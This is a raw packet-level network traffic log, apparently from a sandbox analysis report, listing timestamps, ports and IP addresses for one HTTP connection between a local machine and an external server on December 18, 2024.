Dec 18, 2024 09:07:22.104540110 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.104590893 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.105396032 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.105431080 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.105457067 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.105465889 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.105474949 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.105511904 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.106230974 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.106265068 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.106300116 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.106314898 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.107186079 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.107235909 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.107239962 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.107275963 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.107285023 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.107952118 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.107985973 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.107999086 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.108021975 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.108071089 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.108886957 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.108920097 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.108954906 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.109047890 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.109833956 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.109869003 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.109905005 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.109935045 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.109944105 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.110533953 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.110588074 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.110622883 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.110640049 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.110661030 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.111385107 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.111433029 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.111659050 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.111707926 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.111778975 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.111814022 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.111826897 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.111864090 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.112792969 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.112827063 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.112843037 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.112863064 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.112911940 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.113456011 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.113589048 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.113624096 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.113655090 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.113667011 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.114484072 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.114517927 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.114554882 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.114567995 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.115304947 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.115359068 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.115360022 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.115395069 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.115405083 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.116040945 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.116086960 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.116092920 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.116127968 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.116175890 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.116949081 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.116982937 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.117000103 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.117018938 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.117024899 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.117063046 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.117774010 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.117866993 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.117899895 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.117921114 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.117935896 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.118837118 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.118870974 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.118905067 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.118922949 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.118947029 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.119676113 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.119710922 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.119726896 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.119745970 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.119755983 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.119788885 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.120445013 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.120479107 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.120496035 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.120512962 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.120521069 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.120563030 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.121287107 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.121320009 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.121335983 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.121356964 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.121364117 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.121397972 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.122060061 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.126048088 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.283210039 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.283227921 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.283240080 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.283454895 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.283471107 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.283510923 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.283607006 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.283617973 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.283649921 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.284333944 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.284437895 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.284461975 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.284498930 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.284518957 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.285217047 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.285311937 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.285335064 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.285366058 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.285397053 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.286055088 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.286147118 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.286170006 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.286195040 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.286226988 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.287149906 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.287174940 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.287198067 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.287231922 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.287257910 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.287940025 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.287972927 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.287997007 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.288017988 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.288041115 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.288675070 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.288809061 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.288832903 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.288849115 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.288871050 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.289897919 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.289921999 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.289946079 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.289959908 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.289982080 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.290436983 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.290477991 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.290501118 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.290537119 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.290564060 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.291343927 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.291398048 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.291420937 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.291443110 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.291467905 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.292159081 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.292596102 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.292622089 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.292682886 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.293024063 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.293267965 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.293297052 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.293318033 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.293344021 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.294071913 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.294095039 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.294117928 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.294143915 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.294158936 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.294789076 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.294867039 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.294878006 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.294907093 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.294929028 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.295857906 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.295871019 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.295882940 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.295909882 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.295937061 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.296581984 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.296595097 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.296607018 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.296632051 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.296653986 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.297492981 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.297627926 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.297637939 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.297640085 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.297660112 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.297677040 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.298321962 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.298335075 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.298374891 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.298556089 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.299377918 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.299390078 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.299401045 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.299420118 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.299429893 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.299458027 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.299978971 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.300090075 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.300103903 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.300127983 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.300148964 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.300853014 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.300940037 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.300951958 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.300975084 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.301001072 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.301779985 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.301791906 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.301803112 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.301835060 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.301847935 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.302620888 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.302872896 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.302921057 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.302989960 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.303002119 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.303042889 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.303750038 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.303828955 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.303838968 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.303843021 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.303879976 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.304619074 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.304678917 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.304689884 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.304728031 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.304743052 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.305480003 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.305567026 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.305577993 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.305613995 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.305640936 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.306341887 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.306412935 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.306423903 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.306463957 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.306482077 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.307260990 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.307358980 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.307370901 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.307404041 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.307440042 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.308163881 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.308173895 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.308185101 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.308222055 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.308243990 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.309009075 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.309031963 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.309041977 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.309077024 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.309103966 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.309839010 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.310039043 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.310050964 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.310112000 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.310770035 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.310781002 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.310792923 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.310822010 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.310836077 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.311616898 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.311672926 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.311683893 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.311733007 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.312535048 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.312546968 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.312562943 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.312591076 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.312622070 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.313321114 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.313666105 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.474406958 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.474450111 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.474462032 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.474464893 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.474498034 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.474503994 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.474622011 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.474654913 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.474656105 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.474668980 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.474685907 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.474699020 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.475491047 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.475532055 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.475533009 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.475543976 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.475564957 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.475573063 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.476303101 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.476339102 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.476376057 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.476387978 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.476407051 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.476419926 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.477188110 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.477226973 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.477261066 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.477272987 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.477294922 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.477319002 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.478068113 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.478111029 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.478132963 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.478147030 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.478163958 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.478178978 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.478912115 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.478950024 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.478990078 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.479002953 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.479032040 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.479048014 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.479782104 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.479820967 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.479856968 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.479868889 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.479886055 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.479897022 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.480667114 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.480701923 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.480732918 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.480743885 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.480767965 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.480781078 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.481539011 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.481579065 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.481612921 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.481623888 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.481645107 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.481657982 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.482578993 CET	80	49714	31.41.244.11	192.168.2.8
